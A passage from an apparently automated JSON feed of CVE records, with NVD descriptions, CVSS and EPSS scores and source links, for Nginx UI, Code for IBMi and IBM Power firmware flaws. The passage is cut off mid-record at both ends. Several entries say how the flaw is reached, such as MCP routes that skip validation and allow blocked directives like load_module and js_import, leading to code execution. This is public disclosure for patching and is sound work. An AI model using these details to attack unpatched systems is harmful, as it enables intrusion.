score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84312","cveId":"CVE-2026-84312","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, GetCasdoorUri uses the configured Casdoor application name as a constant OAuth state value and CasdoorCallback does not compare the submitted state with a value bound to the initiating browser session. An unauthenticated attacker can cause a victim's browser to complete an attacker-controlled Casdoor authorization flow, and the callback can mint a Nginx UI session for the identity returned by that authorization code. This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, GetCasdoorUri uses the configured Casdoor application name as a constant OAuth state value and CasdoorCallback does not compare the submitted state with a value bound to the initiating browser session. An unauthenticated attacker can cause a victim's browser to complete an attacker-controlled Casdoor authorization flow, and the callback can mint a Nginx UI session for the identity returned by that authorization code. This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T22:17:05.263Z","updatedAt":"2026-10-14T12:17:18.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84312","asOf":"2026-10-14T12:17:18.203Z"},"epss":{"probability":0.00172,"percentile":0.06595,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84312","type":"primary","publishedAt":"2026-10-12T22:17:05.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49483","cveId":"CVE-2026-49483","aliases":[],"kind":"vulnerability","title":"Code for IBMi is a Visual Studio Code extension for maintaining and compiling ILE languages on the IBMi platform.","summary":"Code for IBMi is a Visual Studio Code extension for maintaining and compiling ILE languages on the IBMi platform. Prior to 3.0.1, IBMi components implementing IBMiComponent were accepted after checking that a procedure existed without reliably verifying component integrity. Components installed with broad public permissions allow another local account to alter a program such as GETMBRINFO. A later connection can execute the altered program under the connecting account because the LONG_COMMENT marker alone does not establish integrity. This issue is fixed in version 3.0.1.","detail":"Code for IBMi is a Visual Studio Code extension for maintaining and compiling ILE languages on the IBMi platform. Prior to 3.0.1, IBMi components implementing IBMiComponent were accepted after checking that a procedure existed without reliably verifying component integrity. Components installed with broad public permissions allow another local account to alter a program such as GETMBRINFO. A later connection can execute the altered program under the connecting account because the LONG_COMMENT marker alone does not establish integrity. This issue is fixed in version 3.0.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T22:17:04.320Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49483","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00142,"percentile":0.03431,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-49483&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-49483","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49483","type":"primary","publishedAt":"2026-10-12T22:17:04.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-49483&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-49483, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96266","cveId":"CVE-2026-96266","aliases":[],"kind":"vulnerability","title":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing.","summary":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. An attacker with authenticated service-level access to the FSP can write specially crafted configuration data to cause memory corruption in the host firmware boot stage during system IPL, compromising the host firmware boot stack and the hypervisor subsequently loaded by it. Successful exploitation results in a confidentiality, integrity, and availability impact to the managed system.","detail":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. An attacker with authenticated service-level access to the FSP can write specially crafted configuration data to cause memory corruption in the host firmware boot stage during system IPL, compromising the host firmware boot stack and the hypervisor subsequently loaded by it. Successful exploitation results in a confidentiality, integrity, and availability impact to the managed system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:24.330Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96266","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00123,"percentile":0.02078,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96266&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96266","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96266","type":"primary","publishedAt":"2026-10-12T21:17:24.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96266&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96266, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96265","cveId":"CVE-2026-96265","aliases":[],"kind":"vulnerability","title":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface.","summary":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to read or modify arbitrary regions of Hostboot memory, compromising the host firmware boot stack and the hypervisor subsequently loaded by it. Successful exploitation results in a confidentiality, integrity, and availability impact to the managed system.","detail":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to read or modify arbitrary regions of Hostboot memory, compromising the host firmware boot stack and the hypervisor subsequently loaded by it. Successful exploitation results in a confidentiality, integrity, and availability impact to the managed system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:24.190Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96265","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00123,"percentile":0.02078,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96265&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96265","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96265","type":"primary","publishedAt":"2026-10-12T21:17:24.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96265&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96265, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96264","cveId":"CVE-2026-96264","aliases":[],"kind":"vulnerability","title":"IBM Power Systems Firmware FW1060.00 through FW1060.81  is affected by a vulnerability in the service processor mailbox interface.","summary":"IBM Power Systems Firmware FW1060.00 through FW1060.81  is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to overflow host firmware runtime attribute storage, allowing arbitrary code to be executed in the host firmware runtime. This gives the attacker full access to the managed system's memory and hardware interfaces, resulting in a confidentiality, integrity, and availability impact to the managed system.","detail":"IBM Power Systems Firmware FW1060.00 through FW1060.81  is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to overflow host firmware runtime attribute storage, allowing arbitrary code to be executed in the host firmware runtime. This gives the attacker full access to the managed system's memory and hardware interfaces, resulting in a confidentiality, integrity, and availability impact to the managed system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:24.053Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96264","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00123,"percentile":0.02078,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96264&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96264","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96264","type":"primary","publishedAt":"2026-10-12T21:17:24.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96264&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96264, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96263","cveId":"CVE-2026-96263","aliases":[],"kind":"vulnerability","title":"IBM Power Systems Firmware FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in the host firmware boot...","summary":"IBM Power Systems Firmware FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in the host firmware boot process image validation path. An attacker with service access to the service processor can supply a maliciously crafted code update image, allowing arbitrary code to be executed on the host system. Successful exploitation could result in a confidentiality, integrity, and availability impact to the affected host system.","detail":"IBM Power Systems Firmware FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in the host firmware boot process image validation path. An attacker with service access to the service processor can supply a maliciously crafted code update image, allowing arbitrary code to be executed on the host system. Successful exploitation could result in a confidentiality, integrity, and availability impact to the affected host system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:23.893Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96263","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00123,"percentile":0.02056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96263&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96263","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96263","type":"primary","publishedAt":"2026-10-12T21:17:23.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96263&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96263, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96262","cveId":"CVE-2026-96262","aliases":[],"kind":"vulnerability","title":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface.","summary":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to overflow host firmware runtime attribute storage, allowing arbitrary code to be executed in the host firmware runtime. This gives the attacker full access to the managed system's memory and hardware interfaces, resulting in a confidentiality, integrity, and availability impact to the managed system.","detail":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to overflow host firmware runtime attribute storage, allowing arbitrary code to be executed in the host firmware runtime. This gives the attacker full access to the managed system's memory and hardware interfaces, resulting in a confidentiality, integrity, and availability impact to the managed system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:23.753Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96262","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00123,"percentile":0.02056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96262","type":"primary","publishedAt":"2026-10-12T21:17:23.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96261","cveId":"CVE-2026-96261","aliases":[],"kind":"vulnerability","title":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing.","summary":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. An attacker with authenticated service-level access to the service processor can write specially crafted configuration data, causing the host firmware boot stack to crash with possible memory corruption during system initialisation, resulting in an integrity and availability impact to the managed system.","detail":"IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. An attacker with authenticated service-level access to the service processor can write specially crafted configuration data, causing the host firmware boot stack to crash with possible memory corruption during system initialisation, resulting in an integrity and availability impact to the managed system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:23.620Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96261","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00098,"percentile":0.00755,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96261&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96261","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96261","type":"primary","publishedAt":"2026-10-12T21:17:23.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96261&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96261, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84360","cveId":"CVE-2026-84360","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the HTTP configuration mutation routes require RequireSecureSession, but /mcp and /mcp_message require only ordinary authentication before exposing nginx_config_add and nginx_config_modify. An OTP-enabled user with a normal JWT but no valid X-Secure-Session-ID can therefore create or modify Nginx configuration and trigger reload behavior through MCP, bypassing the intended step-up control. This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the HTTP configuration mutation routes require RequireSecureSession, but /mcp and /mcp_message require only ordinary authentication before exposing nginx_config_add and nginx_config_modify. An OTP-enabled user with a normal JWT but no valid X-Secure-Session-ID can therefore create or modify Nginx configuration and trigger reload behavior through MCP, bypassing the intended step-up control. This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:22.960Z","updatedAt":"2026-10-13T14:31:20.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84360","asOf":"2026-10-13T14:31:20.750Z"},"epss":{"probability":0.0042,"percentile":0.36036,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84360&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84360","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84360","type":"primary","publishedAt":"2026-10-12T21:17:22.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84360&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84360, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84319","cveId":"CVE-2026-84319","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:22.517Z","updatedAt":"2026-10-13T21:19:11.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84319","asOf":"2026-10-13T21:19:11.433Z"},"epss":{"probability":0.0028,"percentile":0.20305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84319&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84319","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84319","type":"primary","publishedAt":"2026-10-12T21:17:22.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84319&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84319, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84318","cveId":"CVE-2026-84318","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, 